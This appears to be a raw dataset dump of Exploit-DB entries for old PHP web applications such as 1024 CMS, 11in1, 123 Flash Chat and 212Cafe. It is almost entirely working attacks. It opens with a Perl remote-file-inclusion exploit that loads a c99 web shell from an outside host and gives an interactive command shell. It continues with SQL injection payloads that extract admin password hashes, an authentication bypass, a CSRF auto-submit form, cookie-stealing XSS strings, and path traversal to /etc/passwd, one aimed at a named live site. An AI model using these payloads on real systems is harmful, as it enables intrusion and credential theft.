deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8003
Description: 1024 CMS 1.4.4 - Remote Command Execution / Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-02-06
Author: JosS

Exploit:
#!/usr/bin/perl
####################################################################
# 1024 CMS <= 1.4.4 Remote Command Execution with RFI (c99) Exploit
# download: http://www.trebledesigns.com/1024cms.zip
#
# Author: JosS
# mail: sys-project[at]hotmail[dot]com
# site: http://www.hack0wn.com/
# team: Spanish Hackers Team - [SHT]
#
# Hack0wn Security Project!!
#
# This was written for educational purpose. Use it at your own risk.
# Author will be not responsible for any damage.
#
####################################################################
#
# "need" allow_url_include = On && register_globals = On
#
# RFI vuln!: [/themes/default/layouts/standard.php]
#    <?php
#      if($page_ck['custom'] == 'N' || isset($page_include)) {
#       if(!isset($page_include)) include("./pages/".$page."/default/content.php");
#     else include($page_include);
#       } else {
#     ...
#
####################################################################
# OUTPUT: (tested on localhost)
#
# [shell]:~$ id
#  uid=33(www-data) gid=33(www-data) groups=33(www-data)
# [shell]:~$ uname -a
#  Linux h4x0rz 2.6.18-6-686 #1 SMP Fri Dec 12 16:48:28 UTC 2008 i686 GNU/Linux
# [shell]:~$ exit
# h4x0rz:/home/joss/Desktop#


use LWP::UserAgent;
use HTTP::Request;
use LWP::Simple;
use Getopt::Long;

sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear');
}

&clear();

sub banner {
        &clear();
	print "[x] 1024 CMS <= 1.4.4 Remote Command Execution with RFI (c99) Exploit\n";
	print "[x] Written By JosS\n";
	print "[x] sys-project[at]hotmail[dot]com\n\n";
	print "[+] Usage:\n";
	print "[+]     $0 -vuln \"web+path\" -shell \"shell\"\n";
	print "[+] eX: $0 -vuln \"http://www.hack0wn.com/test/\" -shell \"http://hack0wn.com/c99.txt?\"\n\n";
        exit();
}

my $options = GetOptions (
  'help!'            => \$help, 
  'vuln=s'            => \$vuln, 
  'shell=s'            => \$shell
  );

&banner unless ($vuln);
&banner unless ($shell);

&banner if $banner eq 1;

chomp($vuln);
chomp($shell);

while (){

	print "[shell]:~\$ ";
	chomp($cmd=<STDIN>);

	if ($cmd eq "exit" || $cmd eq "quit") {
		exit 0;
	}

	my $ua = LWP::UserAgent->new;
        $iny="?&act=cmd&cmd=" . $cmd . "&d=/&submit=1&cmd_txt=1";
        chomp($iny);
        my $own = $vuln . "/themes/default/layouts/standard.php?page_include=" . $shell . $iny;
        chomp($own);
	my $req = HTTP::Request->new(GET => $own);
	my $res = $ua->request($req);
	my $con = $res->content;
	if ($res->is_success){
		print $1,"\n" if ( $con =~ m/readonly> (.*?)\<\/textarea>/mosix);
	}
           else
             {
                print "[p0c] Exploit failed\n";
                exit(1);
             }
}

# __h0__

# milw0rm.com [2009-02-06]
Exploit-DB #37650
Description: 1024 CMS 2.1.1 - 'p' SQL Injection
Type: webapps
Platform: php
Date: 2012-08-22
Author: kallimero

Exploit:
source: https://www.securityfocus.com/bid/55170/info

1024 CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

1024 CMS 2.1.1 is vulnerable; other versions may also be affected. 

http:// www.example.com/index.php?p=[SQLi]
Exploit-DB #14942
Description: 1024 CMS 2.1.1 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2010-09-07
Author: Stephan Sattler

Exploit:
# Exploit Title: 1024cms 2.1.1 Blind SQL Injection Vulnerability
# Date: 07.09.2010
# Author: Stephan Sattler // Solidmedia.de
# Software Website: http://1024cms.org
# Software Link: http://d10xg45o6p6dbl.cloudfront.net/projects/f/freecms1024/1024_v2.zip
or http://sourceforge.net/projects/cms-cvi/files/v2.1.zip/download
# Version: 2.1.1


[ Vulnerability//PoC ]

http://[site]/[path]/rss.php?t=vp&id=1'+AND+(SELECT+MID(o.password,1,1)+FROM+otatf_users+o+WHERE+o.id=1)='[first character of admin hash]
example: http://[site]/[path]/rss.php?t=vp&id=1'+AND+(SELECT+MID(o.password,1,1)+FROM+otatf_users+o+WHERE+o.id=1)='c
Exploit-DB #36785
Description: 11in1 CMS 1.2.1 - '/admin/index.php?class' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2012-02-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52025/info
 
11in1 is prone to a cross-site request-forgery and a local file include vulnerability.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.
 
11in1 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/admin/index.php?class=../../../tmp/file%00
Exploit-DB #36911
Description: 11in1 CMS 1.2.1 - 'admin/comments?topicID' SQL Injection
Type: webapps
Platform: php
Date: 2012-03-05
Author: Chokri B.A

Exploit:
source: https://www.securityfocus.com/bid/52306/info

11in1 CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

11in1 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/11in1/admin/comments?topicID=1'[SQL Injection Vulnerability!]
Exploit-DB #36912
Description: 11in1 CMS 1.2.1 - 'admin/tps?id' SQL Injection
Type: webapps
Platform: php
Date: 2012-03-05
Author: Chokri B.A

Exploit:
source: https://www.securityfocus.com/bid/52306/info
 
11in1 CMS is prone to multiple SQL-injection vulnerabilities because the application fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
11in1 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/11in1/admin/tps?id=1'[SQL Injection Vulnerability!]
Exploit-DB #36784
Description: 11in1 CMS 1.2.1 - 'index.php?class' Traversal Local File Inclusion
Type: webapps
Platform: php
Date: 2012-02-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52025/info

11in1 is prone to a cross-site request-forgery and a local file include vulnerability.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.

11in1 1.2.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?class=../../../tmp/file%00
Exploit-DB #36786
Description: 11in1 CMS 1.2.1 - Cross-Site Request Forgery (Admin Password)
Type: webapps
Platform: php
Date: 2012-02-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/52025/info
  
11in1 is prone to a cross-site request-forgery and a local file include vulnerability.
  
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the affected application.
  
11in1 1.2.1 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/admin/index.php?class=do&action=addTopic" method="post">
<input type="hidden" name="name" value="New Topic Name here">
<input type="hidden" name="sec" value="3">
<input type="hidden" name="content" value="New Topic Content here">
<input type="submit" id="btn">
</form>
<script>
document.getElementById('btn').click();
</script>
Exploit-DB #27121
Description: 123 Flash Chat 5.0 - Remote Code Injection
Type: webapps
Platform: php
Date: 2006-01-24
Author: Jesus Olmos Gonzalez

Exploit:
source: https://www.securityfocus.com/bid/16360/info

123 Flash Chat is prone to an arbitrary code injection weakness.

An attacker can influence the value of a variable that is insecurely passed to an 'eval()' call.

Successful exploitation may allow attackers to take complete control of the application and potentially carry out other attacks against the vulnerable server hosting the client, including remote unauthorized access.

Exploitation of this vulnerability likely depends on the existence of other content injection issues in the site hosting the application. An attacker would exploit other input validation vulnerabilities such as HTML injection or cross-site scripting to supply the malicious value for a variable.

123 Flash Chat 5.1 and prior versions are affected by this issue.

The following string may be supplied as a username to gain administrative privileges:

x;user.name= a;user.name=ADMIN_AVATAR_NAME;
Exploit-DB #34481
Description: 123 Flash Chat 7.8 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2010-08-16
Author: Lincoln

Exploit:
source: https://www.securityfocus.com/bid/42478/info

123 Flash Chat is prone to multiple security vulnerabilities. These vulnerabilities include a cross-site scripting vulnerability, multiple information-disclosure vulnerabilities, and a directory-traversal vulnerability.

An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, obtain sensitive information, or perform unauthorized actions. Other attacks are also possible.

123 Flash Chat 7.8 is vulnerable; other versions may also be affected.

http://www.example.com/%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5C..%5Cboot.ini
 
 
http://www.example.com/index.html%27%22--%3E%3Cscript%3Ealert%28%22Corelan%22%29%3C/script%3E
 
 
http://www.example.com/lite-chat-login.html
Exploit-DB #4733
Description: 123tkShop 0.9.1 - Remote Authentication Bypass
Type: webapps
Platform: php
Date: 2007-12-14
Author: Michael Brooks

Exploit:
By Michael Brooks
Vulnerability:Sql Injection 
Software:123tkShop
Homepage:http://sourceforge.net/projects/my123tkshop/
Affects Version 0.9.1. 

An attacker can gain Administrative rights with this authentication bypass exploit:
http://127.0.0.1/123tkShop/shop/admin.php?admin=J3VuaW9uIHNlbGVjdCAncGFzc3dvcmQnLyogOnBhc3N3b3Jk
The payload for the attack is constructed like this:
print base64_encode("'union select 'password'/* :password");

Vulneralbe code is in the ./123tkShop/shop/mainfile.php file in the is_admin function starting on line 156

The attack will work magic_quotes_gpc=On or off because of base64_decode()
The attack will also work with register_globals=Off or On because of mainfile.php line 42:
if (!ini_get("register_globals")) {
    import_request_variables('GPC');
}
Registering globals is dangerous. 

My advice is to use another shopping cart such as OsCommerce. 

An interesting side note is that this url http://127.0.0.1/123tkShop/shop/admin.php?admin=%22 will produce a message:
"I don't like you..."
Interesting sentence,  unfortunately for 123tkShop sentences do not defend against sql injection. 

Merry Christmas. 

# milw0rm.com [2007-12-14]
Exploit-DB #5736
Description: 1Book Guestbook Script 1.0.1 - Code Execution
Type: webapps
Platform: php
Date: 2008-06-03
Author: JIKO

Exploit:
=========================================================
=============== JIKI TEAM [ Maroc And YameN ]===============
=========================================================
# Author  : jiko
# email  : jalikom@hotmail.fr
# Home   : www.no-back.org & no-exploit.com
# Script  : 1Book Guestbook Script
# Bug   : remote code execution
# Download  : http://1scripts.net/scripts/1book.zip
=========================JIkI Team===================

 # if(in_array($_POST['username'], $bannedusers))
 # echo 'Your username has been banned by the administrator.<br/><br/>';
 # if(in_array($_SERVER['REMOTE_ADDR'], $bannedips))
 # echo 'Your IP has been banned by the administrator.<br/><br/>';
 # elseif($_POST['1'] + $_POST['2'] != $_POST['check'])
 # echo('You answered the security question incorrectly.');
 # else
 # {
 # $data = unserialize(file_get_contents('data.php'));
 # array_push($data, array('user' => $_POST['username'], 'date' =>
 mktime(), 'message' => $_POST['message'], 'website' =>
 $_POST['website'], 'ip' => $_SERVER['REMOTE_ADDR']));
 # file_put_contents('data.php', serialize($data));
 # }
 #
 #}

 #===========================================================================================================================#
 # So, we can write a malicious code like <?php include($jiko); ?> in
 the variable $message, and $username #
 # and then we go in
            http://Site/script/data/data.php?jiko=[shell]
 #
 #===========================================================================================================================#
 simple exploit whith HTML:
 -------------------------
 change site by your site
 +++++++++++++++++++++++++

 <title> EXploit BY JIKO</title>
 <center>
 <form method="post" action="site/guestbook.php">
 <input type=hidden name=username value="jiko was here" >
 <input type=hidden name=message value="<? include($jiko) ?>" >
 <input type=submit value="send">
 </form>
 <h5>a fter send your usage:
 <br>http://site/scripts/data.php?jiko=[shell]</h5>

 
=========================================================
 greetz:
 all my friend [kil1er & GhosT HaCkEr & stack ] and H-T Team and all No-back members and tryag.Com
 visit: www.no-back.org & www.tryag.com & no-exploit.com
=========================================================
**************************
 hello brother i want chnage my name Jiki Team to JiKo and my email to
 jalikom@hotmail.fr  and this a news bug
 remote code execution

# milw0rm.com [2008-06-03]
Exploit-DB #6960
Description: 1st News - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-02
Author: TR-ShaRk

Exploit:
##################################################################
#
#   Author: TR-ShaRk
#
######################
#
#   Web   : StarHack.Us OldKral.Com
#
######################
#
#   Emai   : Admin@tr-shark.org
#
######################
#
#   Script price : 19,00â‚¬
#
#   Here:http://1st-scripts.de/products.php?id=18&associate=
#
#
######################
#
#   SQL Injection Vuln. :
#   products.php?id=00+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+bb1_users--
#
#
######################
#
#   Demo:
#
#   http://1st-scripts.de/products.php?id=00+union+select+1,concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19+from+bb1_users--
#
######################
SEHITLER Ã–LMEZ VATAN BÃ–LÃœNMEZ
Greetz: STR0KE , WEBLOADER , REALWOLKER , KOMANDO , CEYPOWER , ARANELWORM , MYSTICAL_DEWIL

# milw0rm.com [2008-11-02]
Exploit-DB #46579
Description: 202CMS v10beta - Multiple SQL Injection
Type: webapps
Platform: php
Date: 2019-03-20
Author: Mehmet EMIROGLU

Exploit:
===========================================================================================
# Exploit Title: 202CMS - 'log_user' SQL Inj.
# Dork: N/A
# Date: 20-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/b202cms/
# Software Link: https://sourceforge.net/projects/b202cms/
# Version: v10 beta
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: 202CMS is small, but functionally CMS. It is based
on Twitter Bootstrap
  This CMS was built by Konrad and is powered by MySQLi and PHP. 202CMS is
highly customizable
  and extremely easy to setup. The script is not finished, but soon I'm
going to finish it.
===========================================================================================
# POC - SQLi (blind)
# Parameters : log_user
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f
# POST Method : http://localhost/202cms10beta/index.php
===========================================================================================
###########################################################################################
===========================================================================================
# Exploit Title: 202CMS - 'register.php' SQL Inj.
# Dork: N/A
# Date: 20-03-2019
# Exploit Author: Mehmet EMIROGLU
# Vendor Homepage: https://sourceforge.net/projects/b202cms/
# Software Link: https://sourceforge.net/projects/b202cms/
# Version: v10 beta
# Category: Webapps
# Tested on: Wamp64, Windows
# CVE: N/A
# Software Description: 202CMS is small, but functionally CMS. It is based
on Twitter Bootstrap
  This CMS was built by Konrad and is powered by MySQLi and PHP. 202CMS is
highly customizable
  and extremely easy to setup. The script is not finished, but soon I'm
going to finish it.
===========================================================================================
# POC - SQLi (blind)
# Parameters : register.php, reg_user,reg_mail
# Attack Pattern :
1+%2b+((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2f*%27XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%27%7c%22XOR(((SELECT+1+FROM+(SELECT+SLEEP(25))A)))OR%22*%2f
# Attack Pattern : %27%2b((SELECT+1+FROM+(SELECT+SLEEP(25))A))%2b%27
# POST Method : http://localhost/202cms10beta/register.php
===========================================================================================
Exploit-DB #6578
Description: 212Cafe Board 0.07 - 'qID' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-26
Author: CWH Underground

Exploit:
===================================================================
  212cafe Board (view.php qID) Remote SQL Injection Vulnerability
===================================================================

  ,--^----------,--------,-----,-------^--,
  | |||||||||   `--------'     |          O	.. CWH Underground Hacking Team ..
  `+---------------------------^----------|
    `\_,-------, _________________________|
      / XXXXXX /`|     /
     / XXXXXX /  `\   /
    / XXXXXX /\______(
   / XXXXXX /           
  / XXXXXX /
 (________(             
  `------'

AUTHOR : CWH Underground
DATE   : 26 September 2008
SITE   : cwh.citec.us


#####################################################
APPLICATION : 212cafe Board 
VERSION     : 0.07
VENDOR      : http://www.212cafe.com/
DOWNLOAD    : http://php.deeserver.net/download/get/12/212cafeboard_v0_07.zip
#####################################################

--- Remote SQL Injection ---

** Magic Quote must turn off **

-----------------------------------
 Vulnerable File (view.php)
-----------------------------------

$query="SELECT * FROM board_question WHERE (qID='$qID')";

---------
 Exploit
---------

[+] http://[Target]/[212cafeboard]/view.php?qID=[SQL Injection]


------
 POC
------

[+] http://[Target]/[212cafeboard]/view.php?qID=-9999')/**/UNION/**/SELECT/**/1,concat(mUser,0x3a3a,mPasswd),3,4,5,6,7,8,9,10,11,12,13,14,15,16/**/FROM/**/board_member/**/WHERE/**/(mID='1


#####################################################################
Greetz      : ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos
Special Thx : asylu3, str0ke, citec.us, milw0rm.com
#####################################################################

# milw0rm.com [2008-09-26]
Exploit-DB #29505
Description: 212Cafe Board 0.08 Beta / 6.30 Beta - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2007-01-22
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/22167/info

212cafeBoard is prone to multiple cross-site scripting vulnerabilities because the application fails to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

These issues affect versions 0.08 Beta and 6.30 Beta; other versions may also be affected. 

http://www.example.com/board/search.php?keyword=[XSS]

http://www.example.com/Board/list3.php?user=[XSS]
Exploit-DB #29507
Description: 212Cafe Guestbook 4.00 - 'show.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-01-22
Author: Linux_Drox

Exploit:
source: https://www.securityfocus.com/bid/22173/info

212Cafe Guestbook is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Version 4.00 beta is vulnerable; other versions may also be affected. 

http://www.example.com/guestbookv4.0/show.php?user='><script>alert(document.cookie);</script>
Exploit-DB #34940
Description: 212Cafe WebBoard 2.90 Beta - 'view.php' Directory Traversal
Type: webapps
Platform: php
Date: 2009-05-29
Author: MrDoug

Exploit:
source: https://www.securityfocus.com/bid/44510/info

212cafe WebBoard is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Remote attackers can use a specially crafted request with directory-traversal sequences ('../') to retrieve and read arbitrary files in the context of the webserver. Information harvested may aid in launching further attacks.

212cafe WebBoard 2.90 beta is vulnerable; other versions may also be affected. 

http://www.example.com/webboard/view.php?topic=../../../../../../etc/passwd%00
http://www.example.com/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula
Exploit-DB #8823
Description: 212Cafe WebBoard 2.90 Beta - Remote File Disclosure
Type: webapps
Platform: php
Date: 2009-05-29
Author: MrDoug

Exploit:
Webboard <= v.2.90 beta Remote File Disclosure Vulnerability

=============================================================

Author: MrDoug
Email: mrdoug13 [at] gmail [dot] com

Greetz to all my friends

=============================================================

There are 3 vulnerable calls to fopen() in "/webboard/view.php"
They are on lines 7, 109 and 113.  I have not actually read the
source but based on tests I would GUESS they look something
like this...


  7: fopen('title/' . $_GET['topic'] . '.txt');

...

109: fopen('counter/read/' . $_GET['topic'] . '.txt');

...

113: fopen('counter/read/' . $_GET['topic'] . '.txt');


IMPORTANT:
Due to the trailing ".txt", retrieving files with different
extensions will be difficult unless you are able to get a
null byte through without it being escaped.

=============================================================

Example 1: /webboard/view.php?topic=../../../../../../etc/passwd%00
Example 2: /webboard/view.php?topic=../../../../../../WINDOWS/system32/eula

Dork: inurl:"webboard/view.php?topic="

Demo: http://korat.nfe.go.th/ksn00/webboard/view.php?topic=../../../../../../WINDOWS/system32/eula

# milw0rm.com [2009-05-29]